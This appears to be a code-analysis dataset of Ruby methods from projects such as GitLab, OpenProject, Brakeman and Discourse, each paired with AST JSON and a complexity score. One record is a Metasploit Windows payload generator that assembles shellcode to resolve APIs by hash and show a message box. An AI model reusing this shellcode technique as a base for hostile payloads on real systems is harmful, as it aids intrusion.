host.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"mypid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"process\"]},\"getpid\"]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"clean_pids\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pids\"]},\"compact\"]},\"uniq\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"to_i\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clean_pids\"]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allow_pid_0\"]},\"!\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"mypid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allow_session_pid\"]},\"!\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clean_pids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"theprocess\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_processes\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pid\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theprocess\"]},\"nil?\"]}]},{\"type\":\"next\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"valid_pids\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"valid_pids\"]}]}]}","id":"820f5ac0-8bba-49e9-941a-c0c5e21e2602"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/common/storages/adapters/providers/sharepoint/services/create_managed_folders_service_spec.rb","start_line":344,"raw_source":"def project_folder_info(project_storage)\n              root_folder_contents.fmap do |storage_files|\n                storage_files.files.find { |file| file.id == project_storage.project_folder_id }\n              end\n            end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"project_folder_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_storage\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root_folder_contents\"]},\"fmap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"storage_files\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage_files\"]},\"files\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_storage\"]},\"project_folder_id\"]}]}]}]}]}","id":"5e1181af-9de4-40fb-8171-fcca6b0f6c7f"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/sexp.rb","start_line":363,"raw_source":"def test_sexp_line_set\n    s = Sexp.new(:blah).line(10)\n    assert_equal 10, s.line\n\n    s.line = 100\n    assert_equal 100, s.line\n\n    s.line(0)\n    assert_equal 0, s.line\n  end","complexity_score":12.95,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sexp_line_set\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sexp\"]},\"new\",{\"type\":\"sym\",\"children\":[\"blah\"]}]},\"line\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[10]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"line=\",{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[100]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"line\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"line\"]}]}]}]}","id":"c82492b9-c70e-4285-8a80-ba224a3da65e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/models/activities/meeting_event_mapper.rb","start_line":155,"raw_source":"def only_agenda_item_changes?(journal)\n    journal.details.all? { |key, _| key.start_with?(\"agenda_items_\") } &&\n      !journal.details.all? { |key, _| key.end_with?(\"_position\") }\n  end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"only_agenda_item_changes?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"journal\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"journal\"]},\"details\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"agenda_items_\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"journal\"]},\"details\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"_position\"]}]}]},\"!\"]}]}]}","id":"5b154054-9485-4700-92f4-13b10e19264a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/windows/messagebox.rb","start_line":42,"raw_source":"def generate(_opts = {})\n    style = 0x00\n    case datastore['ICON'].upcase.strip\n      # default = NO\n    when 'ERROR'\n      style = 0x10\n    when 'QUESTION'\n      style = 0x20\n    when 'WARNING'\n      style = 0x30\n    when 'INFORMATION'\n      style = 0x40\n    end\n\n    exitfunc_asm = %(\n        push 0\n        push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}\n        call ebp\n      )\n    if datastore['EXITFUNC'].upcase.strip == 'THREAD'\n      exitfunc_asm = %(\n        mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')}\n        push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')}\n        call ebp\n        add esp,0x28\n        cmp al,0x6\n        jl use_exitthread   ; is older than Vista or Server 2003 R2?\n        cmp bl,0xe0         ; check if GetVersion change the hash stored in EBX\n        jne use_exitthread\n        mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')}\n      use_exitthread:\n        push 0\n        push ebx\n        call ebp\n      )\n    end\n\n    payload_data = %(\n      cld\n      call start\n      #{asm_block_api}\n    start:\n      pop ebp\n      call get_user32\n      db \"user32.dll\", 0x00\n    get_user32:\n      push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}\n      call ebp\n      push #{style}\n      call get_title\n      db \"#{datastore['TITLE']}\", 0x00\n    get_title:\n      call get_text\n      db \"#{datastore['TEXT']}\", 0x00\n    get_text:\n      push 0\n      push #{Rex::Text.block_api_hash('user32.dll', 'MessageBoxA')}\n      call ebp\n      #{exitfunc_asm}\n    )\n    self.assembly = payload_data\n    super\n  end","complexity_score":42.4,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ICON\"]}]},\"upcase\"]},\"strip\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"ERROR\"]},{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"QUESTION\"]},{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"int\",\"children\":[32]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"WARNING\"]},{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"int\",\"children\":[48]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"INFORMATION\"]},{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"int\",\"children\":[64]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"exitfunc_asm\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        push 0\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"ExitProcess\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        call ebp\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EXITFUNC\"]}]},\"upcase\"]},\"strip\"]},\"==\",{\"type\":\"str\",\"children\":[\"THREAD\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exitfunc_asm\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        mov ebx, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"ExitThread\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"GetVersion\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        call ebp\\n\"]},{\"type\":\"str\",\"children\":[\"        add esp,0x28\\n\"]},{\"type\":\"str\",\"children\":[\"        cmp al,0x6\\n\"]},{\"type\":\"str\",\"children\":[\"        jl use_exitthread   ; is older than Vista or Server 2003 R2?\\n\"]},{\"type\":\"str\",\"children\":[\"        cmp bl,0xe0         ; check if GetVersion change the hash stored in EBX\\n\"]},{\"type\":\"str\",\"children\":[\"        jne use_exitthread\\n\"]},{\"type\":\"str\",\"children\":[\"        mov ebx, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"ntdll.dll\"]},{\"type\":\"str\",\"children\":[\"RtlExitUserThread\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      use_exitthread:\\n\"]},{\"type\":\"str\",\"children\":[\"        push 0\\n\"]},{\"type\":\"str\",\"children\":[\"        push ebx\\n\"]},{\"type\":\"str\",\"children\":[\"        call ebp\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"payload_data\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      cld\\n\"]},{\"type\":\"str\",\"children\":[\"      call start\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asm_block_api\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    start:\\n\"]},{\"type\":\"str\",\"children\":[\"      pop ebp\\n\"]},{\"type\":\"str\",\"children\":[\"      call get_user32\\n\"]},{\"type\":\"str\",\"children\":[\"      db \\\"user32.dll\\\", 0x00\\n\"]},{\"type\":\"str\",\"children\":[\"    get_user32:\\n\"]},{\"type\":\"str\",\"children\":[\"      push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"LoadLibraryA\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      call ebp\\n\"]},{\"type\":\"str\",\"children\":[\"      push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      call get_title\\n\"]},{\"type\":\"str\",\"children\":[\"      db \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TITLE\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\", 0x00\\n\"]},{\"type\":\"str\",\"children\":[\"    get_title:\\n\"]},{\"type\":\"str\",\"children\":[\"      call get_text\\n\"]},{\"type\":\"str\",\"children\":[\"      db \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TEXT\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\", 0x00\\n\"]},{\"type\":\"str\",\"children\":[\"    get_text:\\n\"]},{\"type\":\"str\",\"children\":[\"      push 0\\n\"]},{\"type\":\"str\",\"children\":[\"      push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"user32.dll\"]},{\"type\":\"str\",\"children\":[\"MessageBoxA\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      call ebp\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exitfunc_asm\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"assembly=\",{\"type\":\"lvar\",\"children\":[\"payload_data\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"d35d3374-3c1f-4f5a-aad1-e32da5a3c510"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notes/quick_actions_service.rb","start_line":72,"raw_source":"def trigger_work_item_updated(note, params)\n      GraphqlTriggers.work_item_updated(note.noteable) if quick_action_requires_subscription_update?(params) &&\n        note.for_work_item?\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger_work_item_updated\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quick_action_requires_subscription_update?\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"for_work_item?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GraphqlTriggers\"]},\"work_item_updated\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"noteable\"]}]},null]}]}","id":"39f9cb9f-4e41-44b5-8101-81146f3e7fcf"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/account_controller.rb","start_line":317,"raw_source":"def registration_through_invitation!\n    session[:auth_source_registration] = nil\n\n    if @user.nil?\n      @user = assign_user_attributes({ language: Setting.default_language })\n    elsif user_with_placeholder_name?(@user)\n      @user.firstname = nil\n      @user.lastname = nil\n    end\n  end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"registration_through_invitation!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"auth_source_registration\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"nil?\"]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[null,\"assign_user_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"language\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"default_language\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_with_placeholder_name?\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"firstname=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"lastname=\",{\"type\":\"nil\",\"children\":[]}]}]},null]}]}]}]}","id":"08f6f4be-a069-4caa-82e3-a31c5bb080be"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/chain/populate_metadata.rb","start_line":57,"raw_source":"def set_auto_cancel_on_job_failure(auto_cancel)\n            auto_cancel_on_job_failure = auto_cancel[:on_job_failure]\n\n            return if auto_cancel_on_job_failure.blank?\n\n            assign_to_metadata(auto_cancel_on_job_failure: auto_cancel_on_job_failure)\n          end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_auto_cancel_on_job_failure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"auto_cancel\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"auto_cancel_on_job_failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auto_cancel\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"on_job_failure\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auto_cancel_on_job_failure\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"assign_to_metadata\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto_cancel_on_job_failure\"]},{\"type\":\"lvar\",\"children\":[\"auto_cancel_on_job_failure\"]}]}]}]}]}]}","id":"2f2c3878-966d-4fe4-aac1-abfd04839d42"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kas.rb","start_line":72,"raw_source":"def tunnel_url\n        configured = Gitlab.config.gitlab_kas['external_k8s_proxy_url']\n        return configured if configured.present?\n\n        # Legacy code path. Will be removed when all distributions provide a sane default here\n        uri = URI.join(external_url, K8S_PROXY_PATH)\n        uri.scheme = uri.scheme.in?(%w[grpcs wss]) ? 'https' : 'http'\n        uri.to_s\n      end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"tunnel_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"configured\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"gitlab_kas\"]},\"[]\",{\"type\":\"str\",\"children\":[\"external_k8s_proxy_url\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"configured\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"configured\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"external_url\"]},{\"type\":\"const\",\"children\":[null,\"K8S_PROXY_PATH\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"scheme=\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"scheme\"]},\"in?\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"grpcs\"]},{\"type\":\"str\",\"children\":[\"wss\"]}]}]},{\"type\":\"str\",\"children\":[\"https\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"to_s\"]}]}]}","id":"8628fcbd-d410-4087-a8bc-e2c9ae78f536"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/membership_actions.rb","start_line":155,"raw_source":"def members_and_requesters\n    membershipable.members_and_requesters\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"members_and_requesters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"membershipable\"]},\"members_and_requesters\"]}]}","id":"32ffe50e-6272-4f7b-a462-c2f1d5439600"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project_authorizations/changes.rb","start_line":114,"raw_source":"def log_details(entire_size:, batch_size:)\n      Gitlab::AppLogger.info(\n        entire_size: entire_size,\n        total_delay: (entire_size / batch_size.to_f).ceil * SLEEP_DELAY,\n        message: 'Project authorizations refresh performed with delay',\n        **Gitlab::ApplicationContext.current\n      )\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"log_details\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"entire_size\"]},{\"type\":\"kwarg\",\"children\":[\"batch_size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"entire_size\"]},{\"type\":\"lvar\",\"children\":[\"entire_size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total_delay\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entire_size\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_size\"]},\"to_f\"]}]}]},\"ceil\"]},\"*\",{\"type\":\"const\",\"children\":[null,\"SLEEP_DELAY\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Project authorizations refresh performed with delay\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ApplicationContext\"]},\"current\"]}]}]}]}]}","id":"9016b9d8-0f30-43f9-a213-328e206d7fcd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/concerns/worker_attributes.rb","start_line":276,"raw_source":"def get_deduplicate_strategy\n      get_class_attribute(:deduplication_strategy) ||\n        Gitlab::SidekiqMiddleware::DuplicateJobs::DuplicateJob::DEFAULT_STRATEGY\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"get_deduplicate_strategy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_class_attribute\",{\"type\":\"sym\",\"children\":[\"deduplication_strategy\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SidekiqMiddleware\"]},\"DuplicateJobs\"]},\"DuplicateJob\"]},\"DEFAULT_STRATEGY\"]}]}]}","id":"6b0bb58a-a4db-49d4-b381-528e6386e6f9"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/serializers/stats_serializer.rb","start_line":23,"raw_source":"def total_distance_km\n    total_distance_meters = user.stats.sum(:distance)\n\n    (total_distance_meters / 1000)\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"total_distance_km\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"total_distance_meters\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"stats\"]},\"sum\",{\"type\":\"sym\",\"children\":[\"distance\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"total_distance_meters\"]},\"/\",{\"type\":\"int\",\"children\":[1000]}]}]}]}]}","id":"8aa82076-8ae2-49b9-903f-61428a757131"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/topic_list_header.rb","start_line":17,"raw_source":"def click_bulk_select_button\n        find(\".bulk-select\").click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_bulk_select_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".bulk-select\"]}]},\"click\"]}]}","id":"cfe8ed11-bc93-4584-8634-a664d0e07922"}
